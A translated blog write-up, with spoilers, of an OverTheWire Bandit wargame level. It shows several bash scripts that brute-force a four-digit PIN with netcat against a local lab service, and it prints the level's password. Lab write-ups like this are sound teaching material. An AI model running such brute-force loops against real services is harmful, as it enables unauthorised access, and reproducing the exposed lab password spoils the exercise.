解决 bandit level:24-25(剧透)

发布: (2026年2月5日 GMT+8 05:03)
6 min read
原文: Dev.to

Source: Dev.to

(请提供您希望翻译的具体文本内容,我将为您翻译成简体中文。)

Source:

事后报告 – Bandit 24 → 25

耗时: 3–4 小时
难度: 7 / 10 – 逻辑很直接,但我在正确的语法上纠结了很久。

1️⃣ 追踪(进攻与策略) – 50 %

我知道需要一个 循环,但不确定该如何终止它。
关键是寻找服务返回的 信号,它会告诉我们何时找到了正确的 PIN。

  1. 我先尝试用错误的密码手动连接。
  2. 服务器对错误的 PIN 总是返回相同的 “Wrong” 信息,于是我可以把它当作哨兵。

有了这个观察,我就能专注于循环逻辑和命令的语法。

脚本

#!/usr/bin/env bash
echo "Let's get this password"
echo

HOST="localhost"
PORT=30002
PASS="gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8"

# First (intentionally wrong) attempt – just to initialise $output
output="$(printf "%s 0000\n" "$PASS" | nc -q 0 "$HOST" "$PORT")"

# Iterate over every 4‑digit PIN (0000 … 9999)
seq -f "%04g" 0 9999 | while read -r pin; do
    # If the server stopped saying “Wrong”, we have the right PIN
    if [[ "$output" != *"Wrong"* ]]; then
        echo "The server response is: $output"
        exit 0
    else
        i=$((i + 1))                     # iteration counter
        output="$(printf "%s %s\n" "$PASS" "$pin" | nc -q 0 "$HOST" "$PORT")"

        # Print progress every 100 attempts
        if (( i % 100 == 0 )); then
            echo "Tried $i pins. Current pin: $pin"
        fi
    fi
done

2️⃣ 架构思考 – 30 %

PIN 生成
起初我把整个序列 (seq -f "%04g" 0 9999) 存在一个变量中,这导致变量里包含了所有可能的 PIN,结果每次尝试都错误。
解决办法是把序列通过管道输送到 while read 循环中,一次只取一个 PIN 放入 pin 变量。

3️⃣ 防御性思考 – 20 %

如果我要防御这个服务,可以在横幅和 PIN 提示之间加入一点延迟。
因为脚本假设连接后可以立即发送密码,延迟会导致在完整横幅收到之前,所有尝试都被判定为 “Wrong”,从而减慢暴力破解客户端的速度。

要点: 时间因素可以成为有用的侧信道泄漏。

杂项笔记与实验

  • Connecting from Bash

    nc localhost 30002
  • Prompting the user (not needed for the final script)

    read -rp "Press Enter to continue..."
  • Capturing the server’s response

    output="$(printf "%s %s\n" "$PASS" "$pin" | timeout 2 nc "$HOST" "$PORT")"
  • Generating the 4‑digit PIN list (fastest I found)

    seq -f "%04g" 0 9999
  • First (failed) attempt – why it didn’t work

    Pin="$(seq -f "%04g" 0 9999)"   # **Reference:** see the file `test.sh` for a complete example.

第一个完整脚本

#!/usr/bin/env bash

echo "Let's get this password"
echo

HOST="localhost"
PORT=30002
Passwd="gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8"

# Generate the PINs and test each one
seq -f "%04g" 0 9999 | while read -r pin; do
    output="$(printf "$Passwd $pin\n" | timeout 2 nc "$HOST" "$PORT")"

    if [[ "$output" == *"Wrong"* ]]; then
        i=$((i+1))                     # count attempts

        # Print every 5th attempt
        if (( i % 5 == 0 )); then
            echo "Tried $i pins. Current pin: $pin"
        fi
    else
        echo "The server response is: $output"
        exit 0
    fi
done

该脚本可以工作,但由于对每个 PIN 都会打开一个新的 TCP 连接(nc + timeout),所以耗时极长

调试连接开销

调试脚本 #1 – 限制范围 (0‑9)

#!/usr/bin/env bash

echo "Let's get this password"
echo

HOST="localhost"
PORT=30002
Passwd="gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8"
output="$(printf "$Passwd 0000\n" | timeout 1 nc "$HOST" "$PORT")"

seq -f "%04g" 0 9 | while read -r pin; do
    if [[ "$output" == *"Wrong"* ]]; then
        i=$((i+1))

        output="$(printf "$Passwd $pin\n" | timeout 1 nc "$HOST" "$PORT")"

        if (( i % 5 == 0 )); then
            echo "Tried $i pins. Current pin: $pin"
        fi
    else
        echo "The server response is: $output"
        exit 0
    fi
done

调试脚本 #2 – 检查 nc 退出状态

#!/usr/bin/env bash

echo "Let's get this password"
echo

HOST="localhost"
PORT=30002
Passwd="gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8"
output="$(printf "$Passwd 0000\n" | timeout 1 nc "$HOST" "$PORT")"

seq -f "%04g" 0 9 | while read -r pin; do
    if [[ "$output" == *"Wrong"* ]]; then
        i=$((i+1))

        output="$(printf "$Passwd $pin\n" | timeout 1 nc "$HOST" "$PORT")"
        rc=$?
        echo "rc=$rc"

        if (( i % 5 == 0 )); then
            echo "Tried $i pins. Current pin: $pin"
        fi
    else
        echo "The server response is: $output"
        exit 0
    fi
done

这些代码片段确认,重复的连接建立(nc + timeout)是主要的性能瓶颈。

最终工作版本(无 timeout,持久连接)

#!/usr/bin/env bash

echo "Let's get this password"
echo

HOST="localhost"
PORT=30002
Passwd="gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8"

# First try a known wrong PIN to initialise $output
output="$(printf "$Passwd 0000\n" | nc -q 0 "$HOST" "$PORT")"

seq -f "%04g" 0 9999 | while read -r pin; do
    if [[ "$output" != *"Wrong"* ]]; then
        echo "The server response is: $output"
        exit 0
    else
        i=$((i+1))

        output="$(printf "$Passwd $pin\n" | nc -q 0 "$HOST" "$PORT")"

        # Print every 100th attempt (adjust as you like)
        if (( i % 100 == 0 )); then
            echo "Tried $i pins. Current pin: $pin"
        fi
    fi
done
  • nc -q 0 告诉 netcat 在收到 EOF 后立即关闭连接,避免额外的超时延迟。
  • 脚本现在运行得更快,同时仍会每 100 次尝试打印一次进度。

个人备注

我在编码时喜欢大量添加注释,因为一旦移开视线,我的大脑就会忘记流程。额外的注释看起来可能有点乱,但对我来说是救命稻草! 😄

希望你玩得开心,并觉得这个脚本有用。祝 hacking 愉快!

Back to Blog

相关文章

阅读更多 »

当云服务中断波及互联网

最近的大规模云服务中断已经很难被忽视。影响 AWS、Azure 和 Cloudflare 等提供商的高调事件已经扰乱了大规模的...